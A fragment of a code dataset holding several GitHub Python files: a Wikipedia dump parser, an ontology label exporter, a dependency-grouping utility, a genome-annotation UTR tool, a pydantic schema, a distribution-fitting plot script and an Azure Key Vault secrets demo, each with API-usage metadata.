"textdistance.strcmp95.distance", "line_number": 36, "usage_type": "call"}, {"api_name": "textdistance.strcmp95", "line_number": 36, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "App.App", "line_number": 48, "usage_type": "call"}]} {"seq_id": "26632328152", "text": "import bz2\nimport os\nimport xml.etree.ElementTree as ET\n\nimport time\nfrom typing import Tuple, List\n\nfrom WikiDBBZ2 import WikiDB, WikiDB_zlib\n\n\npathWikiBZ2 = 'C:\\\\Users\\\\16507\\\\Downloads\\\\enwiki-20201020-pages-articles-multistream.xml.bz2' #.xml.bz2 file path\npathWikiDB = 'C:\\\\Users\\\\16507\\\\Documents\\\\Projects\\\\WikipediaProject\\\\Literature-Biases---Wikipedia\\\\wiki.db'\n\nFTR = [\"novel\"] #filter - these words must be in categories to append to the db - make sure the words are in lowercase\nNON_FTR = [\"births\", \"musical\", \"television series\", \"films\"] #filter - these words must NOT be categories to append to the db - make sure the words are in lowercase\n\nstart_time = time.time()\nbz2_file = bz2.BZ2File(pathWikiBZ2) \n\n\ndef passes_filter(categories: List[str]) -> bool:\n '''\n Returns a bool depending on if the categories passes the filter\n :param categories: a list of the categories\n '''\n crepr = repr(categories)\n\n if any([i in crepr for i in NON_FTR]): return False\n return all([i in crepr for i in FTR]) \n\ndef hms_string(sec_elapsed: int) -> str:\n \"\"\"\n Gets time in Hour:Minutes:Seconds\n :param sec_elapsed: seconds elapsed\n :return: Hour:Minutes:Seconds\n \"\"\"\n h = int(sec_elapsed / (60 * 60))\n m = int((sec_elapsed % (60 * 60)) / 60)\n s = sec_elapsed % 60\n return \"{}:{:>02}:{:>05.2f}\".format(h, m, s)\n\ndef remove_category_tags(line: str) -> str:\n '''\n Assumes line param is a [[Category: ]] line and removes the tags\n :param line: decoded b'[[Category: ]] line\n '''\n start_tag = line.find('[[')\n end_tag = line.find(']]')\n return line[start_tag+11:end_tag]\n\ndef parseBZ2Page(file: bz2.BZ2File, page_line: bytes): \n '''\n Given a file and the bytes of the first line ( line) returns the categories, id, title, and decompressed file as a stringthrough a tuple\n :param file: bz2.BZ2File, actual file must be a .xml.bz2 file \n :param page_line: bytes\n '''\n categories = []\n \n decompressed_file_as_str = page_line.decode(\"utf-8\")\n\n for line in file: \n decoded = line.decode(\"utf-8\")\n decompressed_file_as_str += decoded\n\n if b'[[Category:' in line:\n categories.append(remove_category_tags(decoded)) \n\n elif b'' in line: #Once reading a tag, exit. \n break\n \n root = ET.fromstring(decompressed_file_as_str)\n \n if root.find('ns').text != '0' or 'redirect title' in decompressed_file_as_str: return None\n\n title = root.find('title').text\n id = root.find('id').text\n\n '''\n Debugging statements\n print(decompressed_file_as_str)\n print('NS:', ns, '\\n', 'Title:', title, '\\n', 'ID:', id)\n raise Exception('Let me just take a peek!')\n '''\n\n return (categories, id, title, decompressed_file_as_str)\n\ndef main(file: bz2.BZ2File, db: WikiDB, compresssion = False) -> WikiDB:\n '''\n Parses a .xml.bz2 file and returns a dictionary {ID, [Categories]} of articles that pass the filter FTR \n :param file: bz2.BZFile object\n '''\n pc = 0 #page count\n ac = 0 #added count\n\n for line in file: \n if b'' in line: # indicates new Wikipedia page\n\n parsed_data = parseBZ2Page(file, line)\n\n if parsed_data: #parsed_data returns None when the page should be excluded\n (categories, id, title, decompressed_article) = parsed_data\n pc += 1\n else:\n continue\n\n if passes_filter(categories): #if categories passes filter, add to database\n ac += 1\n if compression:\n db.insert(id, title, repr(categories), decompressed_article)\n else:\n db.insert(id, title, repr(categories))\n\n\n if (pc % 150 == 0): #Print progress every 150 pages\n elapsed_time = time.time() - start_time\n print(\"{} articles parsed\".format(pc), end=\" \")\n print(\"{} articles passes filter\".format(ac), end=\" \")\n print(\"Elapsed time: {}\".format(hms_string(elapsed_time)))\n\n #if pc >= 75: #For debugging\n # break\n\n db.commit()\n file.close()\n print(\"Completed! \\n\")\n\n return db \n\n\n\nif __name__ == '__main__':\n compression = bool(int(input('Do you want compressed articles to be a part of the sqlite database (1 for yes, 0 for no)?: ')))\n if compression:\n database = WikiDB_zlib(pathWikiDB)\n else:\n database = WikiDB(pathWikiDB)\n \n main(bz2_file, database, compression)\n", "repo_name": "23ariyar/Literature_Biases_Wikiparser", "sub_path": "WikiParser.py", "file_name": "WikiParser.py", "file_ext": "py", "file_size_in_byte": 4559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "bz2.BZ2File", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 21, "usage_type": "name"}, {"api_name": "bz2.BZ2File", "line_number": 51, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 71, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 71, "usage_type": "name"}, {"api_name": "bz2.BZ2File", "line_number": 87, "usage_type": "attribute"}, {"api_name": "WikiDBBZ2.WikiDB", "line_number": 87, "usage_type": "name"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "WikiDBBZ2.WikiDB_zlib", "line_number": 134, "usage_type": "call"}, {"api_name": "WikiDBBZ2.WikiDB", "line_number": 136, "usage_type": "call"}]} {"seq_id": "1251903776", "text": "from uk.ac.ebi.brain.core import Brain\nimport json\n\n\nall_ont = Brain()\nall_ont.learn = (\"\") # fbbi\nall_ont.learn = (\"\") # fbbt\nall_ont.learn = (\"\") # fbdv\n\nclasslist = all_ont.getSubClasses(\"Thing\", 0)\n\nid_name = {}\n\nfor c in classlist:\n id_name[c] = all_ont.getLabel(c)\n \nlookup = open(\"lookup\", \"w\")\n \nlookup.write(json.dump(id_name))\n\n", "repo_name": "PhenoImageShare/PhenoImageShare", "sub_path": "VFB_import/src/ont_dict_gen.py", "file_name": "ont_dict_gen.py", "file_ext": "py", "file_size_in_byte": 347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uk.ac.ebi.brain.core.Brain", "line_number": 5, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 19, "usage_type": "call"}]} {"seq_id": "15464768944", "text": "from functools import reduce\nfrom typing import List\n\nimport numpy\nimport numpy as np\nfrom collections import defaultdict\n\n\ndef gen_groups(importance: numpy.ndarray, dependency: numpy.ndarray, head=None):\n # 固定的头部不依赖其他位置点\n assert type(dependency) != numpy.ndarray or np.all(dependency[:, 1] != head)\n\n data_size, importance_size = importance.shape\n\n data_group = np.zeros(shape=data_size)\n # 按顺序，每个对象所属的组\n if type(importance) == np.ndarray:\n importance_cof = np.power(10, np.arange(importance_size)[::-1])\n new_importance = (importance * importance_cof[np.newaxis, np.newaxis, :]).sum(axis=-1).reshape(-1)\n\n importance_order = new_importance.argsort()[::-1]\n sorted_new_importance = new_importance[importance_order]\n\n group_end = np.argwhere(sorted_new_importance[1:] != sorted_new_importance[:-1]) + 1\n # 每组在排好序的的起止坐标\n group_index = np.stack([np.append(0, group_end), np.append(group_end, data_size)]).swapaxes(0, 1)\n\n for i in range(len(group_index)):\n st, ed = group_index[i]\n data_group[importance_order[st:ed]] = i\n # 头部分组\n if head != None:\n data_group[head] = -1\n\n return adjust_by_dependency(data_group, dependency)\n\n\ndef adjust_by_dependency(data_group: numpy.ndarray, dependency: numpy.ndarray):\n dependency_size, _ = dependency.shape\n # 拓扑排序\n graph = {}\n # 为了避免遍历时出错，不用defaultdict\n for i in np.unique(dependency):\n graph[i] = set()\n\n for depended, depend in dependency:\n graph[depend].add(depended)\n\n topology_order = get_topology_order(np.unique(dependency), graph)\n # 过滤出有依赖的\n topology_order = tuple(filter(lambda i: graph[i], topology_order))\n\n for v in topology_order:\n max_depend_group = max(map(lambda i: data_group[i], graph[v]))\n if max_depend_group + 1 > data_group[v]:\n # 因为重要度的限制，只有两种可能，1.前置同一个组，2.前置后面一个组, 这一点很重要，否则复杂度爆炸\n data_group[v] = max_depend_group + np.random.randint(2)\n return adjust_group_internal_order(data_group, graph)\n\n\ndef adjust_group_internal_order(data_group: np.ndarray, graph: dict):\n dependency_groups = {int(i): set() for i in np.unique(data_group)}\n # 领接链表都放进去\n for k, v in graph.items():\n dependency_groups[int(data_group[k])].add(k)\n for i in v:\n dependency_groups[int(data_group[i])].add(i)\n\n groups_dict = defaultdict(list)\n for i in range(len(data_group)):\n if i not in dependency_groups[data_group[i]]:\n groups_dict[data_group[i]].append(i)\n\n # 同一组内的依赖相关项按照拓扑排序随机插入\n for i in dependency_groups:\n dependency_list = dependency_groups[i]\n independent_list = groups_dict[i]\n old_in_len = len(independent_list)\n topology_order = get_topology_order(dependency_list, graph)\n insert_position = np.random.choice(np.arange(len(independent_list) + len(dependency_list)),\n size=len(dependency_list), replace=False)\n insert_position.sort()\n for i in range(len(dependency_list)):\n independent_list.insert(insert_position[i], topology_order[i])\n assert len(independent_list) == old_in_len + len(dependency_list)\n\n sorted_group_list = tuple(map(lambda i: groups_dict[i], sorted(groups_dict.keys())))\n assert sum(map(len, sorted_group_list), 0) == len(data_group)\n return sorted_group_list\n\n\ndef get_topology_order(points: set, graph: dict):\n searched = set()\n topology_order = []\n\n def dfs(g: dict):\n random_start = np.random.permutation(tuple(filter(lambda i: i not in searched, g.keys())))\n # 这里是惰性的，filter 不是一次性生效, searched生效会有影响\n for v in random_start:\n dfs_visit(g, v)\n\n def dfs_visit(g: dict, v: int):\n if v in searched:\n return\n searched.add(v)\n for i in filter(lambda j: j not in searched, g[v]):\n dfs_visit(g, i)\n if v in points:\n topology_order.append(v)\n\n dfs(graph)\n\n return topology_order\n\n\nif __name__ == '__main__':\n data_size = 10\n importance_size = 2\n\n importance = np.zeros(shape=[data_size, importance_size])\n data_position = np.random.choice(np.arange(data_size), size=(data_size // 3, importance_size), replace=False)\n importance_value = np.random.choice(np.arange(10), size=(data_size // 3, importance_size))\n importance[data_position, np.arange(importance_size)[np.newaxis, :]] = importance_value\n\n dependency_size = 4\n dependency = np.stack([np.random.choice(np.arange(data_size), size=(2), replace=False)\n for i in range(dependency_size)])\n\n group_list = gen_groups(importance, dependency)\n", "repo_name": "ljldgup/ml", "sub_path": "mine/tsp/groups_calculator.py", "file_name": "groups_calculator.py", "file_ext": "py", "file_size_in_byte": 5004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.ndarray", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.all", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.power", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.argwhere", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 62, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 126, "usage_type": "call"}]} {"seq_id": "70171765692", "text": "#!/usr/bin/env python\n#\n\n\"\"\"\nThis script takes annotation in bed12 format without UTRs and adds UTRs from a transcriptome assembly (e.g. stringtie)\n\"\"\"\n\nimport argparse\nfrom collections import defaultdict\nfrom collections import Counter\nimport sys\n\n__author__ = \"Ekaterina Osipova, 2020.\"\n\n\ndef get_all_intron_coords(transcript):\n ## Takes bed12 transcript line and returns a list with intron intervals: [(chrom, x1, x2), (chrom, x3, x4), ..]\n\n chrom = transcript.split()[0]\n start = int(transcript.split()[1])\n exon_number = int(transcript.split()[9])\n intron_coord_list = []\n block_starts = [start + i for i in map(int, transcript.split()[11].rstrip(',').split(','))]\n block_sizes = map(int, transcript.split()[10].rstrip(',').split(','))\n for i in range(exon_number - 1):\n intron_coord_list.append((chrom, block_starts[i] + block_sizes[i], block_starts[i + 1]))\n return intron_coord_list\n\n\ndef read_rnaseq_bed(rnaseq_file):\n ## Reads RNAseq annotation file (no CDS regions) and adds all introns to rnaseq_coord_dict:\n ## {(chrom, x1, x2): [transcript1, transcript2, ..], }\n\n rnaseq_coord_dict = defaultdict(list)\n with open(rnaseq_file, 'r') as inf:\n for bed_line in inf.readlines():\n intron_coord_list = get_all_intron_coords(bed_line)\n for intron in intron_coord_list:\n rnaseq_coord_dict[intron].append(bed_line)\n return rnaseq_coord_dict\n\n\ndef prepare_5prime_blocks(transcript, cut_coord):\n ## Takes bed12 transcript line and one coord where to cut it;\n ## returns list of starts and sizes of non-coding blocks; works with 5'-UTR\n\n noncoding_blocks = []\n start = int(transcript.split()[1])\n abs_block_starts_list = [start + int(i) for i in transcript.split()[11].rstrip(',').split(',')]\n block_sizes_list = [int(i) for i in transcript.split()[10].rstrip(',').split(',')]\n\n i = 0\n while abs_block_starts_list[i] + block_sizes_list[i] < cut_coord:\n noncoding_blocks.append((abs_block_starts_list[i], block_sizes_list[i]))\n i += 1\n # add the cut block\n noncoding_blocks.append((abs_block_starts_list[i], cut_coord - abs_block_starts_list[i]))\n return noncoding_blocks\n\n\ndef prepare_3prime_blocks(transcript, cut_coord):\n ## Takes bed12 transcript line and one coord where to cut it;\n ## returns list of starts and sizes of non-coding blocks; works with 3'-UTR\n\n noncoding_blocks = []\n start = int(transcript.split()[1])\n abs_block_starts_list = [start + int(i) for i in transcript.split()[11].rstrip(',').split(',')]\n block_sizes_list = [int(i) for i in transcript.split()[10].rstrip(',').split(',')]\n\n abs_block_starts_list.reverse()\n block_sizes_list.reverse()\n i = 0\n while abs_block_starts_list[i] > cut_coord:\n noncoding_blocks.append((abs_block_starts_list[i], block_sizes_list[i]))\n i += 1\n # add the cut block\n noncoding_blocks.append((cut_coord, block_sizes_list[i] - cut_coord + abs_block_starts_list[i]))\n # do you need to reverse it back??\n noncoding_blocks.reverse()\n return noncoding_blocks\n\n\ndef read_anno_bed(anno_file, rnaseq_coord_dict):\n ## Reads annotation file without UTRs and finds if first/last intron matches perfectly anything in rnaseq_coord_dict\n\n transcript_dict = defaultdict(list)\n with open(anno_file, 'r') as inf:\n for bed_line in inf.readlines():\n name = bed_line.split()[3]\n start = int(bed_line.split()[1])\n end = int(bed_line.split()[2])\n exon_number = int(bed_line.split()[9])\n transcript_info = bed_line\n\n ## Initiate and update UTR lists in the transcript_dict (3'UTRs and 5'UTRs separately)\n utrs5_list = []\n utrs3_list = []\n\n if exon_number > 1:\n intron_coord_list = get_all_intron_coords(bed_line)\n first_intron_coords = intron_coord_list[0]\n last_intron_coords = intron_coord_list[-1]\n\n if (first_intron_coords in rnaseq_coord_dict):\n utrs5_list = [i for i in rnaseq_coord_dict[first_intron_coords] if int(i.split()[1]) < start]\n if (last_intron_coords in rnaseq_coord_dict):\n utrs3_list = [i for i in rnaseq_coord_dict[last_intron_coords] if int(i.split()[2]) > end]\n\n transcript_dict[name].append((transcript_info, utrs5_list, utrs3_list))\n return transcript_dict\n\n\ndef get_max_most_common(list, utr_type):\n ## Finds most common element in the list; if there're multiple, returns max of those\n\n count_dict = Counter(list)\n maxcount = count_dict.most_common(1)[0][1]\n if utr_type == 5:\n max_most_common = min([i for i in count_dict if count_dict[i] == maxcount])\n else:\n max_most_common = max([i for i in count_dict if count_dict[i] == maxcount])\n return max_most_common\n\n\n\ndef add_utr_blocks(transcript_info, utr5_blocks, utr3_blocks):\n ## Given transcript annotation line updates it with utrs\n\n start = int(transcript_info.split()[1])\n chrom = transcript_info.split()[0]\n exon_number = int(transcript_info.split()[9])\n name = transcript_info.split()[3]\n trans_starts = [i + start for i in map(int, transcript_info.split()[11].rstrip(',').split(','))]\n trans_sizes = map(int, transcript_info.split()[10].rstrip(',').split(','))\n\n utr5_starts = [i[0] for i in utr5_blocks]\n utr5_sizes = [i[1] for i in utr5_blocks]\n utr3_starts = [i[0] for i in utr3_blocks]\n utr3_sizes = [i[1] for i in utr3_blocks]\n\n\n start_update = utr5_starts[0]\n end_update = utr3_starts[-1] + utr3_sizes[-1]\n\n ## update starts and block sizes\n new_trans_starts = [i - utr5_starts[0] for i in utr5_starts + trans_starts[1:] + utr3_starts[1:]]\n block_starts_update = ','.join(map(str, new_trans_starts)) + ','\n\n # make updates of block sizes if it's a single exon gene\n if exon_number == 1:\n new_trans_sizes = utr5_sizes[:-1] + [utr5_sizes[-1] + trans_sizes[0] + utr3_sizes[0]] + utr3_sizes[1:]\n # make updates of block sizes if number of exons > 1\n else:\n new_trans_sizes = utr5_sizes[:-1] + [utr5_sizes[-1] + trans_sizes[0]] + trans_sizes[1:-1] + \\\n [trans_sizes[-1] + utr3_sizes[0]] + utr3_sizes[1:]\n block_sizes_update = ','.join(map(str, new_trans_sizes)) + ','\n\n ## combine all info in a new annotation line\n exon_number_update = len(new_trans_starts)\n bed_line_list_update = [chrom, str(start_update), str(end_update), name] + transcript_info.split()[4:9] + \\\n [str(exon_number_update), block_sizes_update, block_starts_update]\n bed_line_update = '\\t'.join(bed_line_list_update)\n\n return bed_line_update\n\n\ndef update_annotation(transcript_dict):\n ## Adds 5'- and 3'-UTRs for each transcript in given transcript_dict\n ## Runs add_utrs() function that work with an individual transcript\n\n for name in transcript_dict:\n for transcript in transcript_dict[name]:\n transcript_info = transcript[0]\n cut_utr5 = int(transcript_info.split()[1])\n cut_utr3 = int(transcript_info.split()[2])\n utr5_transcript_list = transcript[1]\n utr3_transcript_list = transcript[2]\n\n # check if all non-coding starts > start !!! not yet done\n # print('utr5 list: ', utr5_transcript_list)\n # print('utr3 list: ', utr3_transcript_list)\n\n # if there are updates for this transcript, get the most common coordinate\n if utr5_transcript_list != []:\n utr5_start_list = [int(i.split()[1]) for i in utr5_transcript_list]\n utr5 = get_max_most_common(utr5_start_list, utr_type=5)\n maxcount_transcript_index = [int(i.split()[1]) for i in utr5_transcript_list].index(utr5)\n utr5_blocks = prepare_5prime_blocks(utr5_transcript_list[maxcount_transcript_index], cut_utr5)\n else:\n utr5_blocks = [(int(transcript_info.split()[1]), 0)]\n\n if utr3_transcript_list != []:\n utr3_end_list = [int(i.split()[2]) for i in utr3_transcript_list]\n utr3 = get_max_most_common(utr3_end_list, utr_type=3)\n maxcount_transcript_index = [int(i.split()[2]) for i in utr3_transcript_list].index(utr3)\n utr3_blocks = prepare_3prime_blocks(utr3_transcript_list[maxcount_transcript_index], cut_utr3)\n else:\n utr3_blocks = [(int(transcript_info.split()[2]), 0)]\n\n bed_line_update = add_utr_blocks(transcript_info, utr5_blocks, utr3_blocks)\n print(bed_line_update)\n return\n\n\ndef main():\n ## Parse arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('-r', '--rnaseq', type=str, help='transcripts assembled from RNAseq, e.g. stringtie in bed12 format')\n parser.add_argument('-a', '--anno', type=str, help='bed12 annotation file to add UTRs to')\n args = parser.parse_args()\n\n ## bed12 format:\n ## chrom[0] start[1] end[2] name[3] score[4] strand[5] cds_start[6] cds_end[7] rgb[8] count[9]\\\n ## block_sizes[10] block_starts[11]\n\n ## Read stringtie assembly into a dictionary\n rnaseq_coord_dict = read_rnaseq_bed(args.rnaseq)\n\n ## Read annotation file checking if first/last blocks overlap blocks in rnaseq\n transcript_dict = read_anno_bed(args.anno, rnaseq_coord_dict)\n\n ## Add UTRs to the transcripts where possible\n update_annotation(transcript_dict)\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "maggieMCKO/nectargenomics", "sub_path": "older_stuff/GeneAnnotation/add_utrs_from_stringtie.py", "file_name": "add_utrs_from_stringtie.py", "file_ext": "py", "file_size_in_byte": 9554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 86, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 116, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 207, "usage_type": "call"}]} {"seq_id": "6662486227", "text": "from datetime import datetime\nfrom pydantic import BaseModel\n\n\nclass SkillCreate(BaseModel):\n skill_type: str\n skill_name: str\n\n class Config:\n orm_mode = True\n\n\nclass SkillResponse(SkillCreate):\n id: int\n user_id: int\n created_at: datetime\n", "repo_name": "yasararfath/myportfolio_api", "sub_path": "app/schema/skill_schema.py", "file_name": "skill_schema.py", "file_ext": "py", "file_size_in_byte": 266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pydantic.BaseModel", "line_number": 5, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "name"}]} {"seq_id": "73470334332", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom parse_sample import parse_sample\nfrom scipy.stats import lognorm, gamma\nfrom scipy.special import digamma, polygamma\nfrom math import log, sqrt\n\n\n# Return the log normal maximum likelihood estimators\ndef estimate_log_normal(data):\n n = len(data)\n mu = sum(np.log(data))/n\n sigma = sum(list(map(lambda x: (log(x) - mu)**2, data)))\n return mu, sqrt(sigma/n)\n\n# Return an approximation of the Gamma maximum likelihood estimators\n# Note: scale and shape parametrization is used\ndef estimate_gamma(data):\n n = len(data)\n x_bar = sum(data)/n\n lnx_bar = sum(np.log(data))/n\n a_i = 0.5/(log(x_bar) - lnx_bar)\n x_i = 1/a_i + (lnx_bar - log(x_bar) + log(a_i) - digamma(a_i))/(a_i**2 * (1/a_i - polygamma(1,a_i)))\n\n for i in range(4):\n a_i = 1/x_i\n x_i = 1/a_i + (lnx_bar - log(x_bar) + log(a_i) - digamma(a_i))/(a_i**2 * (1/a_i - polygamma(1,a_i)))\n\n beta = x_bar/a_i\n return 1/x_i,beta\n\ndef plot_histogram_with_distr(values):\n # Create the histogram\n n, bins, patches = plt.hist(values, density=True, bins='auto', edgecolor='white')\n\n # Calculate the bin widths\n bin_widths = bins[1:] - bins[:-1]\n\n # Overlay gamma distribution\n a, b = estimate_gamma(values)\n x = np.linspace(0, max(values), 100)\n pdf = gamma.pdf(x, a, loc=0, scale=b)\n plt.plot(x, pdf, lw=2, label='Gamma')\n\n # Overlay lognormal distribution\n u, sigma = estimate_log_normal(values)\n x = np.linspace(0, max(values), 100)\n pdf = lognorm.pdf(x, s=sigma, loc=0, scale=np.exp(u))\n plt.plot(x, pdf, lw=2, label='Lognormal')\n\n # Set plot properties\n plt.xlabel('Valor')\n plt.ylabel('Frecuencia')\n plt.title('Histograma y distribuciones Gamma y Log Normal')\n plt.legend()\n\n plt.savefig(\"../plots/histogram_with_estimated_distributions\")\n plt.clf()\n\nplot_histogram_with_distr(parse_sample(\"../sample23.dat\"))\n", "repo_name": "LuciaMartinezGavier/seleccion-de-distribucion", "sub_path": "src/estimations.py", "file_name": "estimations.py", "file_ext": "py", "file_size_in_byte": 1929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.log", "line_number": 12, "usage_type": "call"}, {"api_name": "math.log", "line_number": 13, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 21, "usage_type": "call"}, {"api_name": "math.log", "line_number": 22, "usage_type": "call"}, {"api_name": "math.log", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.special.digamma", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.special.polygamma", "line_number": 23, "usage_type": "call"}, {"api_name": "math.log", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.special.digamma", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.special.polygamma", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.stats.gamma.pdf", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.stats.gamma", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.stats.lognorm.pdf", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.stats.lognorm", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "parse_sample.parse_sample", "line_number": 60, "usage_type": "call"}]} {"seq_id": "37966239718", "text": "import os\nimport logging\nimport uuid\nfrom azure.identity import DefaultAzureCredential\nfrom azure.keyvault.secrets import SecretClient\n\n\nclass KeyVault:\n def __init__(self):\n # DefaultAzureCredential() expects the following environment variables:\n # * AZURE_CLIENT_ID\n # * AZURE_CLIENT_SECRET\n # * AZURE_TENANT_ID\n\n credential = DefaultAzureCredential()\n self.secret_client = SecretClient(\n vault_url=os.environ[\"AZURE_PROJECT_URL\"], credential=credential\n )\n\n self.secret_name = \"secret-name-\" + uuid.uuid1().hex\n self.secret_Value = \"secret-value\"\n\n def set_secret(self):\n logging.info(\"Setting a secret...\")\n self.secret_client.set_secret(self.secret_name, self.secret_Value)\n logging.info(\"\\tdone\")\n\n def get_secret(self):\n logging.info(\"Getting a secret...\")\n secret = self.secret_client.get_secret(self.secret_name)\n logging.info(\"\\tdone, secret: (\" + secret.name + \",\" + secret.value + \").\")\n\n def delete_secret(self):\n logging.info(\"Deleting a secret...\")\n deleted_poller = self.secret_client.begin_delete_secret(self.secret_name)\n deleted_secret = deleted_poller.result()\n logging.info(\"\\tdone: \" + deleted_secret.name)\n\n def run(self):\n logging.info(\"\")\n logging.info(\"------------------------\")\n logging.info(\"Key Vault - Secrets\\nIdentity - Credential\")\n logging.info(\"------------------------\")\n logging.info(\"1) Set a secret\")\n logging.info(\"2) Get that secret\")\n logging.info(\"3) Delete that secret (Clean up the resource)\")\n logging.info(\"\")\n\n try:\n self.set_secret()\n self.get_secret()\n finally:\n self.delete_secret()\n", "repo_name": "cleverhew/Python-Functionapp-No-module-named-azure.identity", "sub_path": "Myfunction/key_vault_secrets.py", "file_name": "key_vault_secrets.py", "file_ext": "py", "file_size_in_byte": 1797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "azure.identity.DefaultAzureCredential", "line_number": 15, "usage_type": "call"}, {"api_name": "azure.keyvault.secrets.SecretClient", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "uuid.uuid1", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": 